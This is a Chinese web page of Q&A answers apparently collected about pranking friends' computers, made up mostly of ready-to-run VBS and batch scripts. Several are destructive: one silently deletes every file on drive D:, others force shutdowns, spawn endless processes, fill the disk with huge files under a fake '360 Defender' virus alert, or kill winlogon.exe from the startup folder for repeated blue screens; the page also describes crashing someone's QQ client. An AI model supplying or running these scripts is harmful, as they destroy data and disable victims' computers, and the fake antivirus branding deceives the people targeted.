本文目录一览：
- 1、电脑装逼代码
- 2、有没有恶搞朋友的，给他电脑发个文件就会让他自动关机的代码？
- 3、如何恶搞朋友的电脑
- 4、有没有一些恶搞别人的vbs代码
- 5、怎么恶搞别人的电脑
- 6、我想要额恶搞别人电脑的bat代码
电脑装逼代码
具体步骤如下：
1、打开电脑在桌面点击：鼠标右键新建文本文档如图：
2、然后打开TXT文档，如图：
3、然后输入代码：tree d:
4、然后点击：文件保存保存后返回即可，如图：
5、回后鼠标右键点击txt文档找到重命名，如图：
6、然后点击重命名把重命名修改成学校机房装逼代码.bat，如图：
7、修改后打开文档，就可以了。
有没有恶搞朋友的，给他电脑发个文件就会让他自动关机的代码？
vbs整人代码大集合，收集的比较全，喜欢的朋友可以参考下。不要搞破坏，学习vbs的朋友非常有帮助，死循环的使用比较多。新建一个记事本 把下面的代码复制进去 另存为VBE格式的就可以了 ：
一、我就用这个程序放在学校图书馆查询书刊的机器上，好多人都那它没办法，哈哈
do
msgbox "You are foolish!"
loop
----------------------------------------------------------------------------
二、打开无数个计算器，直到死机
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
----------------------------------------------------------------------------
三、直接关机
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
---------------------------------------------------------------------------
四、删除D:\所有文件
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
----------------------------------------------------------------------------
五、不断弹出窗口
while(1)
msgbox "哈哈 你被耍了！"
loop
----------------------------------------------------------------------------
六、不断按下alt+f4 （开什么都关闭……）
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}" loop
---------------------------------------------------------------------------
七、按500次回车
(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)
dim s
do until s=500
s=s+1
msgbox "哥们，给我按500次回车吧",64
loop
---------------------------------------------------------------------------
八、关不掉的窗口
WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"TSName)
WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉，这你都不知道吗？")
WScript.Echo("怎么才来，说~是不是不关心我") WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。")
WScript.Echo("小强很生气，后果很严重哦。") WScript.Echo("嘿嘿！你也会很惨滴哦")
WScript.Echo("是不是想清除我？") WScript.Echo("那你要点上50下哦，不过会给你惊喜滴")
WScript.Echo("还剩49下，快点点哦") WScript.Echo("还剩48下，快点，小笨蛋！")
WScript.Echo("还剩47下对，就这样快点点！") WScript.Echo("还剩46下。你啊就是笨，要快哦，我先不打扰你工作。")
WScript.Echo("还剩45下，记得要快哦！") WScript.Echo("还剩43下")
WScript.Echo("还剩42下")
WScript.Echo("还剩41下") WScript.Echo("还剩40下")
WScript.Echo("还剩39下")
WScript.Echo("还剩38下") WScript.Echo("还剩37下")
WScript.Echo("还剩36下")
WScript.Echo("还剩35下") WScript.Echo("还剩34下")
WScript.Echo("还剩33下")
WScript.Echo("还剩32下") WScript.Echo("还剩30下")
WScript.Echo("还剩29下")
WScript.Echo("还剩28下") WScript.Echo("还剩27下")
WScript.Echo("还剩26下")
WScript.Echo("还剩25下") WScript.Echo("还剩24下")
WScript.Echo("还剩23下")
WScript.Echo("还剩22下") WScript.Echo("还剩21下")
WScript.Echo("还剩20下")
WScript.Echo("还剩19下") WScript.Echo("还剩18下")
WScript.Echo("还剩17下")
WScript.Echo("还剩16下") WScript.Echo("还剩15下")
WScript.Echo("还剩14下") WScript.Echo("还剩13下停停！！！慢点，我有话要说")
WScript.Echo("还剩12下，你继续点我就会消失滴") WScript.Echo("还剩11下，以后就看不到我拉。555555")
WScript.Echo("还剩10下，你现在可以选择停止！") WScript.Echo("还剩9下。你还点啊，不要我拉？")
WScript.Echo("还剩8下，有点伤心拉，干嘛丢弃人家") WScript.Echo("还剩7下。疯了，你有点负意！")
WScript.Echo("还剩6下。对。你就点吧，我恨你！") WScript.Echo("还剩5下，不明白，删除我你就好吗？")
WScript.Echo("还剩4下！真要删除我？") WScript.Echo("还剩3下。可是我真的很眷恋你。。。")
WScript.Echo("还剩2下。不要这么绝情嘛，人家是爱你的！") WScript.Echo("还剩1下。哼，既然你这么绝情。也别怪我无义！！！") WScript.Echo("我本因该消失的，不过我留恋你滴芳容，上帝又给了一次机会。")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")
WScript.Echo("想结素我么?那你就再多点一次")
-----------------------------------------------------------------
为了友谊的小船，请谨慎使用
如何恶搞朋友的电脑
你在朋友的桌面上创建一个记事本，里面写
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
dim a
do while(a "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"
这串代码，然后保存把后缀名改为.vbe，然后点开就神奇了，自己试试吧。
有没有一些恶搞别人的vbs代码
自编vbs仅供娱乐！！！
set qstart = wscript.CreateObject("wscript.shell")
set qweb = CreateObject("Wscript.Shell")
set qwrite = CreateObject("scripting.filesystemobject")
set qsay = CreateObject("sapi.spvoice")
qstart.run "D:\病毒BGM.mp3" '《江南皮革厂倒闭了》
msgbox "您的电脑已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"
qstart.run "cmd.exe /c start appwiz.cpl"
qstart.run "cmd.exe /c start bthprops.cpl"
qstart.run "cmd.exe /c start calc.exe"
qstart.run "cmd.exe /c start cleanmgr.exe"
qstart.run "cmd.exe /c start cmd.exe"
qstart.run "cmd.exe /c start colorcpl.exe"
qstart.run "cmd.exe /c start control.exe"
qstart.run "cmd.exe /c start cttune.exe"
qstart.run "cmd.exe /c start desk.cpl"
qstart.run "cmd.exe /c start dfrgui.exe"
qstart.run "cmd.exe /c start dxdiag.exe"
qstart.run "cmd.exe /c start FileHistory.exe"
qstart.run "cmd.exe /c start Firewall.cpl"
qstart.run "cmd.exe /c start Fondue.exe"
qstart.run "cmd.exe /c start fontview.exe"
qstart.run "cmd.exe /c start fsquirt.exe"
qstart.run "cmd.exe /c start hdwwiz.cpl"
qstart.run "cmd.exe /c start inetcpl.cpl"
qstart.run "cmd.exe /c start intl.cpl"
qstart.run "cmd.exe /c start irprops.cpl"
qstart.run "cmd.exe /c start joy.cpl"
qstart.run "cmd.exe /c start LaunchTM.exe"
qstart.run "cmd.exe /c start Magnify.exe"
qstart.run "cmd.exe /c start main.cpl"
qstart.run "cmd.exe /c start mblctr.exe"
qstart.run "cmd.exe /c start mmsys.cpl"
qstart.run "cmd.exe /c start msinfo32.exe"
qstart.run "cmd.exe /c start mspaint.exe"
qstart.run "cmd.exe /c start ncpa.cpl"
qstart.run "cmd.exe /c start notepad.exe"
qstart.run "cmd.exe /c start powercfg.cpl"
qstart.run "cmd.exe /c start RTSnMg64.cpl"
qstart.run "cmd.exe /c start SnippingTool.exe"
qstart.run "cmd.exe /c start sysdm.cpl"
qstart.run "cmd.exe /c start TabletPC.cpl"
qstart.run "cmd.exe /c start telephon.cpl"
qstart.run "cmd.exe /c start timedate.cpl"
qstart.run "cmd.exe /c start write.exe"
qstart.run "cmd.exe /c start wscript.exe"
qstart.run "cmd.exe /c start wscui.cpl"
qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"
qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"
qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"
qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"
qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"
qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"
qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"
wscript.sleep 25000
qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机"" ",0,true
qstart.run "cmd.exe /c echo 滚|clip"
A = INPUTBOX ("说！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滚”已复制到剪贴板，可以粘贴。）","360 Defender","不是",8000,7000)
IF A = "是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "好的，现在您可以下载360安全卫士来杀毒了。",vbokonly,"360 Defender"
do
qweb.run""
loop
ELSEIF A = "不是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么这么懒呢？",vbokonly+vbQuestion,"360 Defender"
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是时候锻炼锻炼了",vbokonly+vbInformation,"360 Defender"
msgbox "游戏规则：在开始后，请及时点击 “确定” 键来取消关机。"+chr(13)+"现在您可以把这个窗口x掉，或者点击确定，来开始游戏。",vbokonly+vbInformation,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true
msgbox "取消关机",vbokonly,"360 Defender"
qstart.run "cmd.exe /c shutdown -a",0,true
qweb.run""
qweb.run""
qweb.run""
loop
ELSEIF A = "" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "周鸿祎表示无语。"+chr(13)+chr(13)+chr(13)+"这样是不可能解决问题的",vbokonly,"360 Defender"
msgbox "自己探寻吧",vbokonly,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5",0,true
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd.exe /c shutdown -a",0,true
loop
ELSEIF A = "滚" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "emmmmmmmm",vbokonly,"360 Defender"
set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)
qwriteb.WriteLine "wscript.CreateObject(" chr(34) "wscript.shell" chr(34) ").run " chr(34) "D:\1.vbs" chr(34)
qwriteb.WriteLine "msgbox " chr(34) "滚" chr(34) ",vbokonly+vbinformation," chr(34) "360 Defender" chr(34)
qwriteb.close
qwrite.movefile "D:\1.txt","D:\1.vbs"
qstart.run "D:\1.vbs"
ELSE
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "由于您在说废话，但是您一定不想浪费时间说废话，所以该电脑对您有害。浪费别人时间就是谋财害命 ( 鲁迅 ) 。360积极维护您的财产权和生命健康权，决定不砸掉您的电脑。"+chr(13)+chr(13)+"那现在先把C盘给抹咯！",vbokonly+vbInformation,"360 Defender"
qsay.speak ("在抹掉C盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qweb.run""
qstart.run "cmd.exe /c shutdown -r -t 5",0,true
END IF
怎么恶搞别人的电脑
制作个QQ炸弹!
第一种方法是利用压缩包，这个方法我曾经教过我妹妹用那个方法玩她的同学，首先我们先创建一个文件夹，空文件夹就可以了哦(最好是空的，因为你以后还要复制N个这样的压缩包)，接着把这个文件添加成压缩包，然后就CTRL+C复制这个压缩包，再CTRL+V，弄个上千个压缩包就可以了，然后把压缩包全选，一起拉到你想要攻击的那个QQ号码，呵呵，后果大家是可想而知了哦，把很可能就被给卡死了，很不错吧!
第二种就需要多人配合了哦，这个利用的是QQ视频聊天，我们可以找几个朋友把你需要攻击的人的QQ号给加了，然后你们同时给他视频，你想想他会怎么样，马上被你们给K了哦，不过这个也存在一个缺点，需要你们加了他才可以。其实也不错了哦。
第三种就是利用QQ刷屏，有一种软件叫做QQ刷屏器，利用这个很不错的，跟你在群里面刷屏一样的哈，可以弄图片也可以弄文字，攻击只迅速，我都被朋友玩过，呵呵，你们可以在网上下载看看。
第四种方法就是利用QQ表情溢出工具了哦，方法很简单：只需要发送表情给对方就可以，该工具打开就可以用了，根据色块堆积溢出原理，导入表情后会在qq自定义表情里面添加一个空白的表情，发给对方，对方QQ就挂了，是对付挂机者的居家良药!鄙视那些挂号的人，不过现在没有什么人挂号了哦，挂号也不安全，呵呵，一天两个小时就可以了哦。
我想要额恶搞别人电脑的bat代码
@echo off
cmd /c start /min ntsd -c q -pn winlogon.exe 1nul 2nul
蓝屏代码，放在开始菜单启动项里就可以无限蓝屏，解决方法，安全模式，删除即可